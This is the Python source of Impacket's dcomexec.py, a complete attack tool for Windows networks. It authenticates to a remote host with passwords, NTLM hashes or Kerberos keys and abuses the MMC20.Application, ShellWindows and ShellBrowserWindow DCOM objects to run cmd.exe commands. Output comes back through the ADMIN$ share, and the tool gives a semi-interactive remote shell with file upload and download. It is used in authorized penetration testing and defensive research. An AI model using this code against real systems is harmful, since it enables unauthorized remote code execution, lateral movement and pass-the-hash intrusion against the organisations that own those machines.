1#!/usr/bin/env python
2# Copyright (c) 2003-2018 CORE Security Technologies
3#
4# This software is provided under under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# A similar approach to psexec but executing commands through DCOM.
9# You can select different objects to be used to execute the commands.
10# Currently supported objects are:
11#    1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2
12#    2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2
13#    3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2
14#
15# Drawback is it needs DCOM, hence, I have to be able to access
16# DCOM ports at the target machine.
17#
18# Original discovery by Matt Nelson (@enigma0x3):
19# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
20# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
21#
22# Author:
23#  beto (@agsolino)
24#  Marcello (@byt3bl33d3r)
25#
26# Reference for:
27#  DCOM
28#
29# ToDo:
30# [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
31#     getInterface() method
32#
33
34import argparse
35import cmd
36import logging
37import ntpath
38import os
39import string
40import sys
41import time
42
43from impacket import version
44from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
45    VARIANT, VARENUM, DISPATCH_METHOD
46from impacket.dcerpc.v5.dcomrt import DCOMConnection
47from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
48    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
49    IRemUnknown2, INTERFACE
50from impacket.dcerpc.v5.dtypes import NULL
51from impacket.examples import logger
52from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
53
54OUTPUT_FILENAME = '__' + str(time.time())
55
56class DCOMEXEC:
57    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
58                 noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None):
59        self.__command = command
60        self.__username = username
61        self.__password = password
62        self.__domain = domain
63        self.__lmhash = ''
64        self.__nthash = ''
65        self.__aesKey = aesKey
66        self.__share = share
67        self.__noOutput = noOutput
68        self.__doKerberos = doKerberos
69        self.__kdcHost = kdcHost
70        self.__dcomObject = dcomObject
71        self.shell = None
72        if hashes is not None:
73            self.__lmhash, self.__nthash = hashes.split(':')
74
75    def getInterface(self, interface, resp):
76        # Now let's parse the answer and build an Interface instance
77        objRefType = OBJREF(''.join(resp))['flags']
78        objRef = None
79        if objRefType == FLAGS_OBJREF_CUSTOM:
80            objRef = OBJREF_CUSTOM(''.join(resp))
81        elif objRefType == FLAGS_OBJREF_HANDLER:
82            objRef = OBJREF_HANDLER(''.join(resp))
83        elif objRefType == FLAGS_OBJREF_STANDARD:
84            objRef = OBJREF_STANDARD(''.join(resp))
85        elif objRefType == FLAGS_OBJREF_EXTENDED:
86            objRef = OBJREF_EXTENDED(''.join(resp))
87        else:
88            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
89
90        return IRemUnknown2(
91            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
92                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
93                      target=interface.get_target()))
94
95    def run(self, addr):
96        if self.__noOutput is False:
97            smbConnection = SMBConnection(addr, addr)
98            if self.__doKerberos is False:
99                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
100            else:
101                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
102                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
103
104            dialect = smbConnection.getDialect()
105            if dialect == SMB_DIALECT:
106                logging.info("SMBv1 dialect used")
107            elif dialect == SMB2_DIALECT_002:
108                logging.info("SMBv2.0 dialect used")
109            elif dialect == SMB2_DIALECT_21:
110                logging.info("SMBv2.1 dialect used")
111            else:
112                logging.info("SMBv3.0 dialect used")
113        else:
114            smbConnection = None
115
116        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
117                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
118        try:
119            dispParams = DISPPARAMS(None, False)
120            dispParams['rgvarg'] = NULL
121            dispParams['rgdispidNamedArgs'] = NULL
122            dispParams['cArgs'] = 0
123            dispParams['cNamedArgs'] = 0
124
125            if self.__dcomObject == 'ShellWindows':
126                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
127                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
128                iMMC = IDispatch(iInterface)
129                resp = iMMC.GetIDsOfNames(('Item',))
130                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
131                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
132                resp = iItem.GetIDsOfNames(('Document',))
133                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
134                pQuit = None
135            elif self.__dcomObject == 'ShellBrowserWindow':
136                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
137                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
138                iMMC = IDispatch(iInterface)
139                resp = iMMC.GetIDsOfNames(('Document',))
140                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
141                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
142            elif self.__dcomObject == 'MMC20':
143                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
144                iMMC = IDispatch(iInterface)
145                resp = iMMC.GetIDsOfNames(('Document',))
146                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
147                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
148            else:
149                logging.fatal('Invalid object %s' % self.__dcomObject)
150                return
151
152            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
153
154            if self.__dcomObject == 'MMC20':
155                resp = iDocument.GetIDsOfNames(('ActiveView',))
156                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
157
158                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
159                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
160                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
161            else:
162                resp = iDocument.GetIDsOfNames(('Application',))
163                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
164
165                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
166                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
167                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
168
169            if self.__command != ' ':
170                self.shell.onecmd(self.__command)
171                if self.shell is not None:
172                    self.shell.do_exit('')
173            else:
174                self.shell.cmdloop()
175        except  (Exception, KeyboardInterrupt), e:
176            if logging.getLogger().level == logging.DEBUG:
177                import traceback
178                traceback.print_exc()
179            if self.shell is not None:
180                self.shell.do_exit('')
181            logging.error(str(e))
182            if smbConnection is not None:
183                smbConnection.logoff()
184            dcom.disconnect()
185            sys.stdout.flush()
186            sys.exit(1)
187
188        if smbConnection is not None:
189            smbConnection.logoff()
190        dcom.disconnect()
191
192class RemoteShell(cmd.Cmd):
193    def __init__(self, share, quit, executeShellCommand, smbConnection):
194        cmd.Cmd.__init__(self)
195        self._share = share
196        self._output = '\\' + OUTPUT_FILENAME
197        self.__outputBuffer = ''
198        self._shell = 'cmd.exe'
199        self.__quit = quit
200        self._executeShellCommand = executeShellCommand
201        self.__transferClient = smbConnection
202        self._pwd = 'C:\\windows\\system32'
203        self._noOutput = False
204        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
205
206        # We don't wanna deal with timeouts from now on.
207        if self.__transferClient is not None:
208            self.__transferClient.setTimeout(100000)
209            self.do_cd('\\')
210        else:
211            self._noOutput = True
212
213    def do_shell(self, s):
214        os.system(s)
215
216    def do_help(self, line):
217        print """
218 lcd {path}                 - changes the current local directory to {path}
219 exit                       - terminates the server process (and this session)
220 put {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
221 get {file}                 - downloads pathname to the current local dir
222 ! {cmd}                    - executes a local shell cmd
223"""
224
225    def do_lcd(self, s):
226        if s == '':
227            print os.getcwd()
228        else:
229            try:
230                os.chdir(s)
231            except Exception, e:
232                logging.error(str(e))
233
234    def do_get(self, src_path):
235        try:
236            import ntpath
237            newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
238            drive, tail = ntpath.splitdrive(newPath)
239            filename = ntpath.basename(tail)
240            fh = open(filename,'wb')
241            logging.info("Downloading %s\\%s" % (drive, tail))
242            self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
243            fh.close()
244        except Exception, e:
245            logging.error(str(e))
246            os.remove(filename)
247            pass
248
249    def do_put(self, s):
250        try:
251            params = s.split(' ')
252            if len(params) > 1:
253                src_path = params[0]
254                dst_path = params[1]
255            elif len(params) == 1:
256                src_path = params[0]
257                dst_path = ''
258
259            src_file = os.path.basename(src_path)
260            fh = open(src_path, 'rb')
261            dst_path = string.replace(dst_path, '/','\\')
262            import ntpath
263            pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)
264            drive, tail = ntpath.splitdrive(pathname)
265            logging.info("Uploading %s to %s" % (src_file, pathname))
266            self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
267            fh.close()
268        except Exception, e:
269            logging.critical(str(e))
270            pass
271
272    def do_exit(self, s):
273        dispParams = DISPPARAMS(None, False)
274        dispParams['rgvarg'] = NULL
275        dispParams['rgdispidNamedArgs'] = NULL
276        dispParams['cArgs'] = 0
277        dispParams['cNamedArgs'] = 0
278
279        self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
280                                             0, [], [])
281        return True
282
283    def emptyline(self):
284        return False
285
286    def do_cd(self, s):
287        self.execute_remote('cd ' + s)
288        if len(self.__outputBuffer.strip('\r\n')) > 0:
289            print self.__outputBuffer
290            self.__outputBuffer = ''
291        else:
292            self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
293            self.execute_remote('cd ')
294            self._pwd = self.__outputBuffer.strip('\r\n')
295            self.prompt = self._pwd + '>'
296            self.__outputBuffer = ''
297
298    def default(self, line):
299        # Let's try to guess if the user is trying to change drive
300        if len(line) == 2 and line[1] == ':':
301            # Execute the command and see if the drive is valid
302            self.execute_remote(line)
303            if len(self.__outputBuffer.strip('\r\n')) > 0:
304                # Something went wrong
305                print self.__outputBuffer
306                self.__outputBuffer = ''
307            else:
308                # Drive valid, now we should get the current path
309                self._pwd = line
310                self.execute_remote('cd ')
311                self._pwd = self.__outputBuffer.strip('\r\n')
312                self.prompt = self._pwd + '>'
313                self.__outputBuffer = ''
314        else:
315            if line != '':
316                self.send_data(line)
317
318    def get_output(self):
319        def output_callback(data):
320            self.__outputBuffer += data
321
322        if self._noOutput is True:
323            self.__outputBuffer = ''
324            return
325
326        while True:
327            try:
328                self.__transferClient.getFile(self._share, self._output, output_callback)
329                break
330            except Exception, e:
331                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
332                    # Output not finished, let's wait
333                    time.sleep(1)
334                    pass
335                elif str(e).find('Broken') >= 0:
336                    # The SMB Connection might have timed out, let's try reconnecting
337                    logging.debug('Connection broken, trying to recreate it')
338                    self.__transferClient.reconnect()
339                    return self.get_output()
340        self.__transferClient.deleteFile(self._share, self._output)
341
342    def execute_remote(self, data):
343        command = '/Q /c ' + data
344        if self._noOutput is False:
345            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
346
347        dispParams = DISPPARAMS(None, False)
348        dispParams['rgdispidNamedArgs'] = NULL
349        dispParams['cArgs'] = 5
350        dispParams['cNamedArgs'] = 0
351        arg0 = VARIANT(None, False)
352        arg0['clSize'] = 5
353        arg0['vt'] = VARENUM.VT_BSTR
354        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
355        arg0['_varUnion']['bstrVal']['asData'] = self._shell
356
357        arg1 = VARIANT(None, False)
358        arg1['clSize'] = 5
359        arg1['vt'] = VARENUM.VT_BSTR
360        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
361        arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
362
363        arg2 = VARIANT(None, False)
364        arg2['clSize'] = 5
365        arg2['vt'] = VARENUM.VT_BSTR
366        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
367        arg2['_varUnion']['bstrVal']['asData'] = self._pwd
368
369        arg3 = VARIANT(None, False)
370        arg3['clSize'] = 5
371        arg3['vt'] = VARENUM.VT_BSTR
372        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
373        arg3['_varUnion']['bstrVal']['asData'] = ''
374
375        arg4 = VARIANT(None, False)
376        arg4['clSize'] = 5
377        arg4['vt'] = VARENUM.VT_BSTR
378        arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
379        arg4['_varUnion']['bstrVal']['asData'] = '0'
380        dispParams['rgvarg'].append(arg4)
381        dispParams['rgvarg'].append(arg3)
382        dispParams['rgvarg'].append(arg2)
383        dispParams['rgvarg'].append(arg1)
384        dispParams['rgvarg'].append(arg0)
385
386        #print dispParams.dump()
387
388        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
389                                            0, [], [])
390        self.get_output()
391
392    def send_data(self, data):
393        self.execute_remote(data)
394        print self.__outputBuffer
395        self.__outputBuffer = ''
396
397class RemoteShellMMC20(RemoteShell):
398    def execute_remote(self, data):
399        command = '/Q /c ' + data
400        if self._noOutput is False:
401            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output  + ' 2>&1'
402
403        dispParams = DISPPARAMS(None, False)
404        dispParams['rgdispidNamedArgs'] = NULL
405        dispParams['cArgs'] = 4
406        dispParams['cNamedArgs'] = 0
407        arg0 = VARIANT(None, False)
408        arg0['clSize'] = 5
409        arg0['vt'] = VARENUM.VT_BSTR
410        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
411        arg0['_varUnion']['bstrVal']['asData'] = self._shell
412
413        arg1 = VARIANT(None, False)
414        arg1['clSize'] = 5
415        arg1['vt'] = VARENUM.VT_BSTR
416        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
417        arg1['_varUnion']['bstrVal']['asData'] = self._pwd
418
419        arg2 = VARIANT(None, False)
420        arg2['clSize'] = 5
421        arg2['vt'] = VARENUM.VT_BSTR
422        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
423        arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
424
425        arg3 = VARIANT(None, False)
426        arg3['clSize'] = 5
427        arg3['vt'] = VARENUM.VT_BSTR
428        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
429        arg3['_varUnion']['bstrVal']['asData'] = '7'
430        dispParams['rgvarg'].append(arg3)
431        dispParams['rgvarg'].append(arg2)
432        dispParams['rgvarg'].append(arg1)
433        dispParams['rgvarg'].append(arg0)
434
435        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
436                                            0, [], [])
437        self.get_output()
438
439class AuthFileSyntaxError(Exception):
440
441    '''raised by load_smbclient_auth_file if it encounters a syntax error
442    while loading the smbclient-style authentication file.'''
443
444    def __init__(self, path, lineno, reason):
445        self.path=path
446        self.lineno=lineno
447        self.reason=reason
448
449    def __str__(self):
450        return 'Syntax error in auth file %s line %d: %s' % (
451            self.path, self.lineno, self.reason )
452
453def load_smbclient_auth_file(path):
454
455    '''Load credentials from an smbclient-style authentication file (used by
456    smbclient, mount.cifs and others).  returns (domain, username, password)
457    or raises AuthFileSyntaxError or any I/O exceptions.'''
458
459    lineno=0
460    domain=None
461    username=None
462    password=None
463    for line in open(path):
464        lineno+=1
465
466        line = line.strip()
467
468        if line.startswith('#') or line=='':
469            continue
470
471        parts = line.split('=',1)
472        if len(parts) != 2:
473            raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
474
475        (k,v) = (parts[0].strip(), parts[1].strip())
476
477        if k=='username':
478            username=v
479        elif k=='password':
480            password=v
481        elif k=='domain':
482            domain=v
483        else:
484            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
485
486    return (domain, username, password)
487
488# Process command-line arguments.
489if __name__ == '__main__':
490    # Init the example's logger theme
491    logger.init()
492    print version.BANNER
493
494    parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
495                                                                    "ShellBrowserWindow DCOM object.")
496    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
497    parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
498                                                                           '(default ADMIN$)')
499    parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
500                                                                                '(no SMB connection created)')
501    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
502    parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
503                        help='DCOM object to be used to execute the shell command (default=ShellWindows)')
504
505    parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
506                                                                  'launch a semi-interactive shell')
507
508    group = parser.add_argument_group('authentication')
509
510    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
511    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
512    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
513                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
514                       'ones specified in the command line')
515    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
516                                                                            '(128 or 256 bits)')
517    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
518                       'ommited it use the domain part (FQDN) specified in the target parameter')
519    group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
520                                                                        "See smbclient man page's -A option.")
521
522    if len(sys.argv)==1:
523        parser.print_help()
524        sys.exit(1)
525
526    options = parser.parse_args()
527
528    if ' '.join(options.command) == ' ' and options.nooutput is True:
529        logging.error("-nooutput switch and interactive shell not supported")
530        sys.exit(1)
531
532    if options.debug is True:
533        logging.getLogger().setLevel(logging.DEBUG)
534    else:
535        logging.getLogger().setLevel(logging.INFO)
536
537    import re
538
539    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
540        options.target).groups('')
541
542    #In case the password contains '@'
543    if '@' in address:
544        password = password + '@' + address.rpartition('@')[0]
545        address = address.rpartition('@')[2]
546
547    try:
548        if options.A is not None:
549            (domain, username, password) = load_smbclient_auth_file(options.A)
550            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
551
552        if domain is None:
553            domain = ''
554
555        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
556            from getpass import getpass
557            password = getpass("Password:")
558
559        if options.aesKey is not None:
560            options.k = True
561
562        executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
563                            options.share, options.nooutput, options.k, options.dc_ip, options.object)
564        executer.run(address)
565    except (Exception, KeyboardInterrupt), e:
566        if logging.getLogger().level == logging.DEBUG:
567            import traceback
568            traceback.print_exc()
569        logging.error(str(e))
570    sys.exit(0)
571